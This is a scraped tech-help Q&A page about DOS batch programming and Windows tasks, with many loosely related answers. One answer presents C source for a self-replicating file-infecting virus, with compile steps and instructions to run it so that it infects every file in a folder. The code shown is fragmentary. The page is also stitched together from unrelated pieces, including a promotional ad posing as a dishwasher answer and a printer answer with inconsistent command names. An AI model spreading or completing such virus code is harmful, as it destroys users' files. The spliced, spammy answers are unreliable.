Question about Microsoft Windows XP Professional

1 Answer

What is best website to show me dos programming examples.. want to creat an exe file to pick up text files from a directory and send them to a printer whenever a new file appears .(without pc operator intervention)

Posted by on


1 Answer

  • Level 2:

    An expert who has achieved level 2 by getting 100 points


    An expert that gotĀ 5 achievements.


    An expert whose answer gotĀ voted for 20 times.


    An expert who has written 20 answers of more than 400 characters.

  • Expert
  • 135 Answers

You mean a .bat file that can be run when a new file is added. let me see if i can find a good site for you.
My advice is get a good book! One that stands out in my mind is "The Waite Group's MS-DOS Bible" (1991?) This will take you through using the command shell and batch files through how the DOS filesystem is structured, memory managment under DOS, an explaination of how the OS loads a program up to wrting little progams of you own using machine language and debug.
Another great book is Dan Gookin's "Advanced MS-DOS Batch File Programming" that will also teach you something about operating systems in general in a nice, unformal tone.
DOS also comes with a BASIC interpreter called QBASIC, that can teach you the funamentals of programming while augmenting your shell scripts and doing things that plain batch files just can't do.

Posted on Aug 04, 2010


1 Suggested Answer

  • 2 Answers

SOURCE: I have freestanding Series 8 dishwasher. Lately during the filling cycle water hammer is occurring. How can this be resolved

a 6ya expert can help you resolve that issue over the phone in a minute or two.
best thing about this new service is that you are never placed on hold and get to talk to real repairmen in the US.
the service is completely free and covers almost anything you can think of (from cars to computers, handyman, and even drones).
click here to download the app (for users in the US for now) and get all the help you need.

Posted on Jan 02, 2017


Add Your Answer

Uploading: 0%


Complete. Click "Add" to insert your video. Add



Related Questions:

1 Answer

I have Zebra LP2844 printer and Windows Vista OS. I have installed Zebra LP2844 and ZDesigner LP 2844 drivers and I want to use ELP to print text, barcode etc. Printer is connected to computer via USB. How...

To send text to printer in dos command you should first install a driver from
then in the properties you can use send file to printer.
To send the files from command :
Check if the program ssdal.exe has been correctly installed.
to have help use ssdel help send at dos prompt
to send the file
ssdal send filename printername should do the trick
hope it helps

Aug 01, 2011 | Zebra LP 2844 Thermal Printer


How to Create a Computer Virus? Submitted by Srikanth on Friday, 7 December...

How to Create a Computer Virus?
Submitted by Srikanth on Friday, 7 December 200781 Comments This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
if(host==NULL) goto next;
printf(“Infecting %s\n”,ffblk.ff_name,a);
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect

1. Open new empty folder

3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

on Mar 30, 2010 | Computers & Internet

1 Answer

I installed win7 but webcam icon is missing


Try the following tips to see if you can get the Desktop icon back.

1. Right click the desktop
2. Select View -> Show Desktop Icon
3. Make sure the option is checked.

If this does not work, then you can try and go into the installation directory for your webcam software. For example, when you install the Webcam software, it may be installed in C:\program files\webcam brand name

In the installation folder you should have a .EXE file. If you right click on the .EXE file you can then select "Send To" then select "Desktop(shortcut).

You can also use this method by going to Start > then in the search box type the name of your webcam and you should get a list showing your webcam program. You can right click this and create a desktop icon as well.

Comment back if you have any questions.


Jun 21, 2011 | Lenovo 3000 N100 Notebook

3 Answers

How to create simple batch files

Creating a batch file
MS-DOS users
Microsoft Windows and other users

MS-DOS users
To create a basic batch file in MS-DOS, follow the below steps that give you an example of how to create a basic batch file.

  1. Open an MS-DOS command window or get to MS-DOS. Additional information about doing this can be found on document CHDOS.
  2. At the MS-DOS prompt, type: edit test.bat and press enter.
  3. If typed properly, you should now be in a blue screen. Within the screen, type:

    dir c:\windows
    dir c:\windows\system

  4. Once the above three lines have been typed in, click File and choose exit; when prompted to save, click "Yes." Users who do not have a mouse cursor can accomplish this same task by pressing ALT+F to access the file menu, then pressing "X" to exit, and pressing enter to save changes.
  5. Once you are back at the MS-DOS prompt, type: test and press enter. This will execute the test.bat file and begin running the file. Because the first line is pause, you will first be prompted to press a key. Once you press a key the batch file will run line-by-line; in this case, listing the files in the windows and windows\system directories.
If you wish to add more lines to this batch file you would simply type "edit test.bat" to edit the file again.
Additional information about the MS-DOS edit command can be found on our edit command page. Some versions of MS-DOS and bootable diskettes may not have the edit command; if this is the case, you would either need to obtain the file to access this file or use the copy con command.

Microsoft Windows and other users
A Windows user can still use the above MS-DOS steps if they wish to create a batch file. If, however, you're more comfortable using Microsoft Windows or your operating system, you can use any text editor, such as Notepad or Wordpad, to create your batch files, as long as the file extension ends with .bat. In the below example we use the Windows notepad to create a batch file.
  1. Click Start
  2. Click Run
  3. Type: notepad and press enter.
  4. Once notepad is open, type the below lines in the file or copy and paste the below lines into notepad.

    @echo off
    echo Hello this is a test batch file
    dir c:\windows

  5. Click File and click Save; browse to where you want to save the file. For the file name, type "test.bat", and if your version of Windows has a "Save as type" option, choose "All files", otherwise it will save as a text file. Once all of this has been done click the Save button and exit notepad.
  6. Now, to run the batch file, simply double-click or run the file like any other program. Once the batch file has completed running it will close the window automatically.

Jan 04, 2011 | Computers & Internet

1 Answer

What is the mean auto exe c bat in dos files??

An AUTOEXEC.BAT file contains MS-DOS commands which are executed automatically when a Personal Computer boots. This file is usually located in the root directory of the hard drive or floppy from which the computer boots (or starts) up. The AUTOEXEC.BAT file is used to set various default settings and to run programs that should be executed upon startup. Below you will find a list of executable statements (commands) that typically go into an AUTOEXEC.BAT file, along with explanations their.

The AUTOEXEC.BAT file is one form of a batch file, and it is used to automate functions in MS-DOS. In their simplest form, batch files contain MS-DOS commands (batch file language) which includes commands for such things as loops and execution branches and the like.
Example: @ECHO OFF
This optional command will suppress the display of subsequent commands while the AUTOEXEC.BAT file is being executed

Dec 09, 2010 | Computers & Internet

2 Answers

How do I get IE 8 icon on my desktop

Go to the installation directory. It is probably C:\Program Files\Internet Explorer.
Look for a file there called iexplore.exe.
Right click on that file.Then use the "Create ShortCut" menu pick! That creates the shortcut. Last step: just drag the shortcut to your desktop. Done!

Jul 04, 2009 | Microsoft Internet Explorer 8

1 Answer

Do not know how to install software

How to install a software program can depend on the operating system being used and the program being installed. Because of all the different possibilities, we have created the below steps as guidelines for installing programs in each of the major operating systems.
Notice: This document has been created as a basic overview on how to install software programs, games, and utilities on your computer. If errors are encountered during the installation, this document will not cover those errors.
General Tips
Microsoft Windows 95, 98, NT, ME, 2000, and XP users
MS-DOS Users
General Tips
  • Make sure your computer meets the requirements of the program, game, or utility you are attempting to install.
  • The manuals for the program or the readme file located in the same directory as the install commonly contain exact instructions on how to install a program.
  • After installing or during the installation, a program may need to install other programs, files, or utilities before it is able to run. If this is the case, the program will commonly prompt you to install the program or you may need to run a separate install before the program can be fully used.
  • When installing a program, utility, or game, it is always a good idea first to close or disable any other programs that are running.
  • After installing a new program if it prompts you to reboot the computer, do it.
Microsoft Windows 95, 98, NT, ME, 2000, and XP users Many software programs, games, and utilities have an AutoPlay feature that will automatically start the setup screen for the software program when the CD is placed in the computer. If your program, game, or utility contains this feature, run the installation through the screen that appears after inserting the disc.
If you are installing a program, game, or utility that does not contain this feature or you are installing a program from a floppy diskette, follow the below steps.
  1. Open My Computer.
  2. Within the My Computer window, open the drive that contains the installation files. For example, if the files are on a floppy diskette, open the A: drive. If they're on a CD or DVD open the D: drive or the letter of the disc drive.
  3. Within the drive that contains your files, locate either a setup or install file. Double-clicking on this file should start the installation for the program, game, or utility. If you see multiple setups or install files, try to locate the Application file or double-click each of setup or install files until you find the file that starts the installation. Many times the icons associated with the installation files have the same name.
An alternate method of starting the installation in Microsoft Windows
  1. Click Start and Run.
  2. In the Run Window, type x:\setup or x:\install where x is the letter of the drive you wish to start the installation from. For example, if you are attempting to install a program from the floppy disk drive you would type a:\setup or a:\install.
MS-DOS Users Users installing a program from Microsoft DOS should have a basic understanding of the MS-DOS commands. If you are unfamiliar with any of the commands listed below, click the link to get additional information and examples on the commands.
  1. Before installing a program in MS-DOS, you must switch to the drive and/or directory that contains the installation files. If you are installing a program from a CD or diskette, switch to that drive. Additional information about switching drives in Microsoft DOS can be found on document CH000515. If the installation files are located in a different directory, use the dir command to list the directories and the cd command to switch into the appropriate directory.
  2. Once you are in the directory or drive that contains the installation files, run the executable for the setup. Many times this can be done by typing setup or install at the prompt to start the installation. If both of these commands give a bad command or file name error message, type dir *.exe or dir *.com or dir *.bat. These commands will list any executable files; if any files are listed, attempt to execute these files to run the installation or setup of the program. If no files are listed when typing all three of the above commands, it is possible that either you are in the incorrect directory or drive letter, or that the program.
Additional information about running an file from MS-DOS can also be found on document CH000598.
Additional information:
  • Information about problems that can occur after an install can be found on document CH000123.
  • See document CH000506 for information about how to extract a file that you've downloaded before installing a program.

< Please Rate :) >

Apr 12, 2009 | Computers & Internet

1 Answer

How do i reboot windows vista. i knwo theres a way to do it not from the CD and it returns it to how u go it out of the box. please let me know thanks

If you are using MS-DOS 6.0 or later, you can use multiple configuration menus or the CHOICE.COM program to configure your system. For more information on using these options under MS-DOS 6.0 or later, type HELP MULTI-CONFIG or HELP CHOICE at the MS-DOS command prompt and then press ENTER. To create the files to automatically restart your computer with the appropriate configuration, do the following:

Create a directory on your hard drive called C:\CONFIGS. Create the CONFIG.SYS and AUTOEXEC.BAT files you need to boot your system for HIMEM.SYS and applications that require it, with the following names: c:\configs\config.dos c:\configs\autoexec.dos Create the CONFIG.SYS and AUTOEXEC.BAT files you need to start your system for the program that conflicts with HIMEM.SYS. Any unique file extension can be used. The following example uses 386: c:\configs\config.386 c:\configs\autoexec.386 The following DEBUG script can be used to create a small executable file called REBOOT.COM. This file, when executed, will cause your system to restart. To create the file, change to the DOS directory, and type the following: debug reboot.comEnter the following information, pressing ENTER key after each line: A 100 ; Debug instruction for assemble MOV AH,0D ; Disk Reset INT 21h ; causes SmartDrv 4.x to write cache MOV AX, 40 ; set up segment addressing MOV DS,AX DS: OR BYTE PTR [17],0C ; equivalent of pressing CTRL+ALT MOV AX,4F53 ; Issue a "DEL" (53h = DEL scan code) INT 15h ; EMM386 sees this & shuts down. DS: MOV WORD PTR [72],1234 ; Set REBOOT flag to Warm-Boot (0=cold) JMP F000:FFF0 ; Execute the internal restart routine <CR> ; This line must be blank (just hit ENTER) R CX 20 ; File size to be written to disk (in hex) N REBOOT.COM ; Filename W ; Write the file to disk Q ; Quit Debug NOTE: The REBOOT.COM file created with this debug script is compatible with SMARTDrive and its write-behind cache feature. The instructions in REBOOT.COM cause SMARTDrive to write (flush) its write-behind cache to disk before the computer is rebooted.

The following commands can be used to copy and rename the configuration files to the root directory of the C drive and restart the computer. To simplify the process, you can put these commands into batch files.

To start your machine for Windows, use the following commands: copy c:\configs\autoexec.dos c:\autoexec.bat copy c:\configs\config.dos c:\config.sys To start your machine for the 386 application, use the following commands: copy c:\configs\autoexec.386 c:\autoexec.bat copy c:\configs\config.386 c:\config.sys

Apr 29, 2008 | Computers & Internet

2 Answers

Dos Problem

If you are only trying to move your data file, then create the new directory using the cd command e.g.  cd test.  Then move the file to the new directory either using the move command or the copy command eg. copy test.file c:\test\test.file
Alternatively you should try using the old text editor program in dos to load your file and then save to the directory of  your choice.   good luck

Mar 03, 2008 | Computers & Internet

2 Answers

How to edit registry

1) to edit registry go to start / select run and type regedit. from there you are able to edit registry values. BEWARE because editing registry values may make your windows stop working. you should know what you are doing and you are responsible of the cosnequenses 2) a bat file is a batch file. Batch files are files that allow MS-DOS and Microsoft Windows users to create a lists of commands and/or programs to run once the batch file has been executed. 3) create a file called autorun.inf and type inside [autorun] open=file.exe save your file and write it in the cd you want to autorun the file.exe part must be replaced with the executable you want to load when your CD autoruns

Oct 08, 2007 | Microsoft Windows XP Professional With...

Not finding what you are looking for?
Microsoft Windows XP Professional Logo

120 people viewed this question

Ask a Question

Usually answered in minutes!

Top Microsoft Computers & Internet Experts

micky dee

Level 3 Expert

2780 Answers

Piyal Perera
Piyal Perera

Level 3 Expert

528 Answers

Les Dickinson
Les Dickinson

Level 3 Expert

18394 Answers

Are you a Microsoft Computer and Internet Expert? Answer questions, earn points and help others

Answer questions

Manuals & User Guides